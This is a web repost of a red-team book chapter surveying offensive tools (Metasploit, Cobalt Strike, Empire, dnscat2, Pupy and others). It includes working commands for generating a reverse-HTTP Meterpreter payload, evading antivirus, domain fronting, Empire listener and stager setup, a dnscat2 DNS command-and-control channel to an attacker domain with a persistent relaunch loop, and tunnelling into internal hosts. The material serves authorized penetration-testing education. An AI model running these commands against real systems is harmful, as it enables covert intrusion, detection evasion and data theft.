返回介绍

1.4 工具展示

发布于 2024-10-13 11:41:05 字数 13759 浏览 0 评论 0 收藏 0

红队可能会使用大量的工具,这里我们来介绍一些核心工具。请记住,作为红队,其目的不是破坏用户网络环境,而是复制真实世界的攻击,以查看客户是否受到保护并能够在很短的时间内检测攻击行为。在前面的章节中,我们介绍如何复制攻击者的配置文件和工具集,因此下面我们来回顾一些常见的红队工具。

1.4.1 Metasploit 框架

虽然 Metasploit 框架是在 2003 年开发的,但是到目前为止,它仍然是一个重要的工具。这是由于工具原始设计者 HDMoore 和社区一直在积极维护该项目。这个驱动的框架似乎每天都在更新,包含所有较新的公共漏洞、后漏洞利用模块和辅助模块等。

红队的任务可能会基于 Metasploit,生成 MS17-010 永恒之蓝漏洞并利用工具来突破系统,以获得我们的第一个 Shell;或者基于 Metasploit 生成 Meterpreter 静荷,借助社会工程学开展攻击。

在后面的章节中,本书将向您展示如何重新设置 Metasploit 静荷和流量特征,以绕过杀毒软件和网络检测设备的防护机制。

Meterpreter 静荷混淆

如果借助社会工程学开展攻击,我们常常希望使用 Word 或 Excel 文档格式。但是,一个潜在的问题是,我们可能无法嵌入 Meterpreter 二进制静荷或者从 Web 直接下载,因为杀毒软件可能会阻止上述操作。为此,一个简单的解决方案是使用 PowerShell 进行混淆处理。

msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter- 64.ps1 LHOST = 127.0.0.1

我们甚至可以在下一阶段再进行混淆,使用 Unicorn 等工具生成更多混淆的 PowerShell Meterpreter 静荷,如图 1.3 所示。本书后面的章节将详细介绍实现细节。

0103

图 1.3

此外,使用可信机构的 SSL/TLS 证书,可能会“帮助”我们绕过某些网络入侵检测工具。

最后,在本书的后面部分,我们将讨论如何从头开始编译 Metasploit/Meterpreter 以规避基于主机和网络的检测工具。

1.4.2 Cobalt Strike

Cobalt Strike 是迄今为止我常用的红队攻击工具之一。什么是 Cobalt Strike?它具有后漏洞利用、横向移动、网络隐藏和数据回传等功能。Cobalt Strike 并不集成漏洞利用工具,也不是通过 0day 漏洞突破系统。如果已经在目标服务器上执行代码或将其用作网络钓鱼活动静荷的一部分,您会真正了解 Cobalt Strike 的强大功能和扩展性。当执行 Cobalt Strike 静荷后,它创建一个信标,回连命令和控制服务器。

Cobalt Strike 工具价格不菲,每位用户一年要花费 3500 美元(约 24446.8 元人民币)来获取新的许可证。目前,Cobalt Strike 还会提供免费的功能受限试用版。

1.Cobalt Strike 基础架构

如前所述,在基础架构方面,我们希望建立一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,即使命令和控制服务器崩溃,您也不必重新搭建新的环境,仅需要更换新的域名。您可以使用 socat,配置重定向参数,如图 1.4 所示。

0104

图 1.4

为了方便地实现重定向功能,我们应用域名前置技术。域名前置集合多种技术,利用其他人的域名和基础架构实现重定向。这可以通过亚马逊的 CloudFront
或其他 Google 主机等主流的内容交付网络(CDN)实现真实端点的隐藏。在过去的一段时间中,这项技术已经被不同攻击者使用。

使用这些高信誉域名,无论 HTTP 或者是 HTTPS,任何流量看起来都是与这些域名进行通信,而不是恶意的命令和控制服务器。这一切是如何运作的?举一个较复杂的攻击例子,所有流量将被发送到 CloudFront 的一个完全限定域名(FQDN),例如 a0.awsstatic.com,这是 CloudFront 的主域名。修改请求中的主机头,使所有流量重定向到 CloudFront 分配地址,最终流量转发到我们的 Cobalt Strike 命令和控制服务器,如图 1.5 所示。

0105

图 1.5

通过更改 HTTP 主机头,内容交付网络顺利地将数据包路由到正确的服务器。红队一直使用这种技术,通过使用高信誉域名重定向,隐藏发往命令和控制服务器的流量。

注意:在出版本书时,AWS(甚至 Google)已经开始启动安全防护机制,停止支持域名前置。这样做仍然无法阻止域名前置攻击,但是攻击者需要使用不同的第三方资源进行攻击。

虽然不是基础架构的一部分,但是了解信标在内部环境中的工作方式非常重要。在操作安全方面,我们不希望攻击行动被轻易识破。作为红队,我们必须假设一些代理主机会被蓝队发现。如果我们让所有突破主机仅与一个或两个命令和控制服务器通信,那么红队的整个基础架构将非常容易被发现。幸运的是,Cobalt Strike 支持突破主机之间采用 SMB 网络协议进行命令和控制通信。这种方式允许一台突破主机连接互联网,网络上的所有其他计算机通过 SMB 网络协议连接该主机。采用这种方式,如果另外一台突破主机被检测到,并被取证分析,则蓝队可能无法找到此次攻击的命令和控制服务器。

Cobalt Strike 的一个很棒的功能是红队可以方便地管理信标之间的通信。使用 Malleable C2 配置文件,突破主机的所有流量与普通流量非常类似。目前越来越多的环境支持 7 层应用程序数据包过滤。在第 7 层,很多异常流量的数据包伪装成网站流量。那么如何使发送到命令和控制服务器的流量看起来像正常的网站流量?这就要设置 Malleable C2 文件。看下面这个例子:https://github.com/rsmudge/Malleable-C2-Profiles/blob/ master/normal/ amazon.profile。一些中间记录如下。

  • 我们看到附带 URL 地址的 HTTP 请求。
    • set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books"
  • 主机头设置为 Amazon。
    • header "Host" "www.amazon.com"
  • 同时一些定制服务器数据报头回送到命令和控制服务器。
    • header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT"
    • header "x-amz-id-2""a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRu Z2tmZGl4aHRvNDVpbgo="

这个功能已经被应用到许多不同的行动中,许多安全设备已经在所有常见的可移动配置文件中对其创建了签名。我们为解决这个问题所采取的行动是修改所有静态字符串,更改所有用户代理信息,使用真实证书配置 SSL(不使用默认的 Cobalt Strike SSL 证书),使用抖动,以及更改代理信标的时间。最后一个注意事项是确保使用 POST(http-post)命令进行通信,因为如果不这样做可能会在使用自定义配置文件时引起很多麻烦。如果您的个人资料通过 http-get 进行通信,它仍然有效,但上传大文件将无法完成。请记住,GET 通常限制在 2 048 个字符左右。SpectorOps 团队还创建了随机的命令和控制配置文件。

2.Cobalt Strike 脚本语言

有很多志愿者为 Cobalt Strike 项目做出了贡献。Aggressor Script 是一种脚本语言,适用于红队操作和攻击模拟,开发灵感来自可编写脚本的 IRC 客户端和木马。这种语言有两方面的用途:①创建长时间运行的木马,模拟红队成员,与您并肩进行模拟攻击;②可以使用脚本、扩展和修改 Cobalt Strike 客户功能。例如,HarleyQu1nn 集成了大量不同类型的攻击脚本,用于后漏洞利用阶段。

1.4.3 PowerShell Empire

Empire 是一个后漏洞利用框架,包括纯 PowerShell 2.0 Windows 代理和纯 Python 2.6/2.7 Linux/macOS 代理。PowerShell Empire 是以前的 PowerShell Empire 和 Python EmPyre 项目的合并。该框架提供了加密安全通信和灵活的架构。在 PowerShell 方面,Empire 支持运行 PowerShell 代理,无须运行 PowerShell.exe,可快速部署后漏洞利用模块,包括键盘记录工具和 Mimikatz 工具,支持自适应通信方式以规避网络检测,所有这些功能都集成在以可用性为中心的框架中。

对于红队来说,PowerShell 是一个不错的朋友。在运行初始静荷之后,所有后续攻击代码都存储在内存中。Empire 最大的优点在于开发人员积极维护和更新框架代码,所有最新的后漏洞利用模块都可用于攻击。Empire 支持 Linux 和 macOS 操作系统。因此,您仍然可以在 macOS 中创建 Office 宏,在执行攻击时,Empire 中拥有一个全新的代理。

我们将在整本书中详细地介绍 Empire 工具,以便您充分了解 Empire 工具的用途。非常重要的一点是,我们要确保安全设置 Empire。

  • 将 CertPath 设置为真正的可信 SSL 证书。
  • 修改主机默认配置,许多第 7 层防火墙查找的是静态主机配置。
  • 修改 User Agent 选项值。

正如在本书前两版中提到的,Metasploit 可以使用 rc 文件,实现自动化配置,Empire 现在也支持自动运行脚本以提高效率,这将在本书后面的章节进行讨论。

  • 运行 Empire。
    • cd/opt/Empire && ./setup/reset.sh
  • 退出。
    • exit
  • 设置证书(最好使用真实可信证书)。
    • ./setup/cert.sh
  • 运行 Empire。
    • ./empire
  • 开启监听。
    • listeners
  • 选择监听(我们在试验中使用 HTTP)。
    • uselistener [tab twice to see all listener types]
    • uselistener http
  • 查看监听者的所有配置。
    • info
  • 设置下面的参数(i.e. set KillDate 12/12/2020)。
    • KillDate,结束行动,清除代理
    • DefaultProfile,必须修改所有主机,例如/admin/get.php 和/news.php。可以伪装成想要设置的内容,例如/seriously/notmalware.php
    • DefaultProfile,必须修改 User Agent。我喜欢查看常用 User Agent,并选择其中一个
    • Host,切换到 HTTPS,端口号为 443
    • CertPath,添加 SSL 证书路径
    • UserAgent,修改此处,使用常用的 User Agent
    • Port,设置 443 端口
    • ServerVersion,修改此处,使用常用服务头
  • 所有配置完成,开启监听程序,如图 1.6 所示。
    • execute

配置静荷

静荷是在突破主机上运行的真正的恶意软件。这些静荷可以在 Windows、Linux 和 macOS 中运行,但 Empire 最为知名的是 PowerShell Windows 静荷。

  • 单击主菜单。
    • main
  • 为 macOS、Windows 和 Linux 操作系统创建可用的阶段。创建一个简单的 bat 文件作为示例,但您可以创建 Office 宏文件或者创建 Rubber Ducky 的静荷。
    • usestager [tab twice to see all the different types]
    • usestager windows/launcher_bat

0106

图 1.6

  • 查看所有参数。
    • info
  • 配置所有参数。
    • set Listener http
    • Configure the UserAgent
  • 创建静荷。
    • generate
  • 在另外一个终端窗口查看静荷的参数,如图 1.7 所示。
    • cat/tmp/launcher.bat

0107

图 1.7

如上所述,我们创建的静荷是深度混淆的。您现在可以在任何 Windows 操作系统上放置.bat 文件。当然,您可能会创建一个 Office 宏或一个 Rubber Ducky 静荷,但这只是众多示例中的一个。

如果您尚未在 Kali 镜像上安装 PowerShell,最好的方法是手动安装。在 Kali 上安装 PowerShell 需要执行下述代码。

  • apt-get install libunwind8。
  • wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_ 1.0.1t- 1+deb7u3_amd64.deb。
  • dpkg-i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb。
  • wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb。
  • dpkg-i libicu55_55.1-7ubuntu0.3_amd64.deb。
  • wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_ 6.0.2-1.ubuntu.16.04_amd64.deb。
  • dpkg-i powershell_6.0.2-1.ubuntu.16.04_amd64.deb。

1.4.4 dnscat2

dnscat2 工具是通过 DNS 协议创建加密的命令和控制(C2)通道,这是适用于几乎所有网络的有效隧道(见 GitHub 的相关内容)。

基于 DNS 协议来实现命令和控制以及网络渗透,提供了一种很好的机制隐藏您的流量、规避网络检测和绕过网络限制。在许多受限制的环境或生产环境中,我们遇到过网络要么不允许出站流量,要么严格限制/监控流量。为了解决这些问题,我们可以使用 dnscat2 工具。使用 dnscat2 工具的原因是因为它不需要管理员权限,可以实现远程访问和网络渗透。

许多高安全网络环境禁止 UDP 或 TCP 数据包直接出站。那么为什么我们不利用基础架构中已经内置的服务?许多严格保护的网络中包含内部 DNS 服务器,用于解析内部主机的域名,同时还允许解析外部的资源。我们可以搭建权威 DNS 服务器,实现恶意域名的解析,通过修改 DNS 解析数据包内容,执行恶意软件的命令和控制功能,如图 1.8 所示。

0108

图 1.8

在攻击场景中,我们将设置名为“loca1host.com”的攻击者域名。这与 localhost 很相似,希望可以稍微隐藏我们的网络流量。您需要将“loca1host.com”替换成自己拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使其指向我们安装的权威 DNS 服务器。在此示例中,我们将使用 GoDaddy 的 DNS 配置工具,您也可以使用任何 DNS 服务。

1.使用 GoDaddy 搭建权威 DNS 服务器

  • 搭建虚拟专用网络服务器作为命令和控制服务器,获取服务器 IP 地址。
  • 在购买域名后,登录 GoDaddy(或类似域名提供商)账户。
  • 选择您的域名,单击管理,并选择高级选项。
  • 设置 DNS 管理的主机名,使其指向您的服务器。
    • ns1(虚拟专用服务器 IP 地址)
    • ns2(虚拟专用服务器 IP 地址)
  • 修改 Nameservers 为定制模式。
    • 添加 ns1.loca1host.com
    • 添加 ns2.loca1host.com

如图 1.9 所示,现在设置名字服务器指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向攻击者虚拟专用服务器。如果您尝试解析 loca1host.com(如 vpn.loca1host.com)的任何子域,那么它将尝试使用我们的虚拟专用服务器来执行域名解析。幸运的是,dnscat2 在 UDP 53 端口进行监听,并为我们完成所有繁重的工作。

0109

图 1.9

接下来,我们需要设置攻击者服务器作为名字服务器。设置 dnscat2 服务器。

  • sudo su-。
  • apt-get update。
  • apt-get install ruby-dev。
  • git clone https://github.com/iagox86/dnscat2.git。
  • cd dnscat2/server/。
  • apt-get install gcc make。
  • gem install bundler。
  • bundle install。
  • 测试是否发挥作用:ruby ./dnscat2.rb。
  • 简单提示:如果使用 Amazon Lightsail 虚拟专用服务器,那么一定要开放 UDP 53 端口。

对于客户端代码,我们需要将其编译成二进制文件,并在 Linux 上运行。

2.编译客户端

  • git clone https://github.com/iagox86/dnscat2.git/opt/dnscat2/client。
  • cd /opt/dnscat2/client/。
  • make。
  • dnscat 二进制文件已经生成。
  • 在 Windows 环境中,使用 Visual Studio 加载 client/win32/dnscat2.vcproj 工程,并进行编译。

现在已经配置了权威 DNS,攻击者服务器运行 dnscat2 程序,负责 DNS 域名解析,并且恶意软件已经编译完毕,我们已准备好执行静荷。

在开始之前,我们需要在攻击者服务器上启动 dnscat。虽然有多种配置可供使用,但是必须要配置--secret 标志,确保 DNS 请求中的通信是加密的。确保将 loca1host.com 替换为您拥有的域名,并创建随机密钥字符串。

在攻击者服务器上启动 dnscat2。

  • screen。
  • ruby ./dnscat2.rb loca1host.com --secret 39dfj3hdsfajh37e8c902j。

假设有一个存在漏洞的服务器,您能够在其上远程执行代码。您可以运行 shell 命令并上传 dnscat 静荷。执行我们的静荷。

  • ./dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j。

这将启动 dnscat 程序,使用我们的权威服务器创建命令和控制通道。有时我碰到 dnscat2 服务“死机”了,原因可能是大文件传输,或者仅仅是程序出现了问题。为了解决这种类型的问题,我要确保 dnscat 能够有效回连。为此,我通常喜欢使用快速 bash 脚本,启动 dnscat 静荷。

  • nohup/bin/bash -c "while true; do/opt/dnscat2/client/dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j --max-retransmits 5; sleep 3600; done" >/dev/null 2>&1 &。

这将确保如果客户端静荷因任何原因“死机”了,它将每小时生成一个新实例。有时只有一次机会让您的静荷执行,因此需要让它发挥作用!

最后,如果想在 Windows 系统上运行这个静荷,您可以使用 dnscat2 静荷。为什么不在 PowerShell 中执行此操作?Luke Baggett 写了一个关于 dnscat 客户端的 PowerShell 版本。

3.dnscat2 连接

在静荷执行并回连到攻击者服务器之后,我们应该看到类似于下面的新的 ENCRYPTED AND VERIFIED 消息。通过输入“window”,dnscat2 将显示所有会话。目前,我们可以看到图 1.10 中有一个名为“1”的会话。

0110

图 1.10

我们可以通过与命令会话交互,复制生成 Shell。

  • 与第一个命令会话交互。
    • window -i 1
  • 运行 Shell 会话。
    • shell
  • 回到主会话。
    • Ctrl-z
  • 与会话 2 交互。
    • window -i 2
  • 现在能够运行所有 Shell 命令(例如 ls),如图 1.11 所示。

0111

图 1.11

虽然这不是最快的 Shell,但是由于所有通信数据包都是通过 DNS 协议进行传输的,因此真正解决了 Meterpreter 或类似 Shell 无法回连的情况。dnscat2 更大的优点是它完全支持隧道。这样的话,我们可以从本地主机发起漏洞攻击,使用浏览器来访问内部网站,甚至是通过 SSH 登录到设备上,这一切都是可能的。

4.使用 dnscat2 建立隧道

很多时候,攻击者服务器需要通过突破的主机,访问突破主机内网的其他服务器。使用 dnscat2 执行此操作的安全方法之一是本地端口路由我们的流量,接着通过隧道传输到网络内部主机。我们可以通过命令会话中的以下命令来完成这个例子。

  • listen 127.0.0.1:9999 10.100.100.1:22。

创建隧道后,在攻击者主机终端根窗口,使用 SSH 命令登录本地 9 999 端口,我们可以返回攻击者计算机上的管理员终端窗口,通过 SSH 命令 9 999 端口连接到 localhost,并通过被攻击者网络上的内部系统身份验证,如图 1.12 所示。

0112

图 1.12

这将提供各种有用的功能,一个很好的测试是检测客户的网络是否可以检测到大量的 DNS 查询和数据窃取。那么,请求和响应的数据包看起来是什么样的?通过快速的 Wireshark 数据截获,如图 1.13 所示的 dnscat2 创建了大量不同类型的 DNS 请求包,发送到不同类型长子域名。

0113

图 1.13

1.4.5 p0wnedShell

正如在 p0wnedShell 的 GitHub 页面所介绍的,这个工具是用 C#编写的用于攻击目的的 PowerShell 主机应用程序,它不依赖于 powershell.exe,而是在 PowerShell 运行空间环境(.NET)中运行 PowerShell 命令和函数。该工具包含许多攻击 PowerShell 模块和二进制模块,使后期漏洞利用过程更加容易。我们尝试的是建立一个“一体化”的包含所有相关工具的后漏洞利用工具,并借助它绕过所有安全防护机制(或至少绕过一些)。您可以使用 p0wnedShell 在活动目录环境中执行各种攻击,使防御团队产生防范意识,从而帮助他们构建正确的防御策略。

1.4.6 Pupy Shell

Pupy 是一个开源、跨平台(Windows、Linux、macOS 和 Android)远程管理和后漏洞利用工具,主要用 Python 语言编写。

Pupy 的一个非常棒的功能是,您可以在所有代理上运行 Python 脚本,而无须在所有主机上实际安装 Python。因此,Pupy 是一个很方便的工具,能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。

1.4.7 PoshC2

PoshC2 是一个代理,自适应命令和控制框架,完全用 PowerShell 编写,可以帮助渗透测试人员与红队开展团队合作,开展后漏洞利用和横向移动操作。PoshC2 工具和模块是在 PowerShell 会话和 Metasploit 框架的静荷类型的基础上开发的。选择 PowerShell 作为基本语言,是因为它提供了所需的所有功能和丰富的特性,并且框架无须引入多种语言。

1.4.8 Merlin

Merlin 基于最近开发的 HTTP/2(RFC7540)协议。Per Medium 解释:“HTTP/2 通信是多路复用的,双向连接不会在一个请求和响应之后结束。此外,HTTP/2 是一个二进制协议,具有更紧凑、易于解析等特点,不使用协议解析工具则无法理解 HTTP/2 内容。”

Merlin 是一个用 Go 语言编写的工具,界面和使用方法类似于 PowerShell Empire,并且允许使用轻量级代理。它不支持任何类型的后漏洞利用模块,因此必须独立完成后续工作。

1.4.9 Nishang

Nishang 是一个包含大量脚本和静荷的框架,可以使用 PowerShell 开展攻击检测、渗透测试和红队行动。Nishang 在渗透测试的所有阶段都很有用。

虽然 Nishang 实际上是一个令人惊叹的 PowerShell 脚本的集合,但是也包括一些轻量级命令和控制的脚本。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文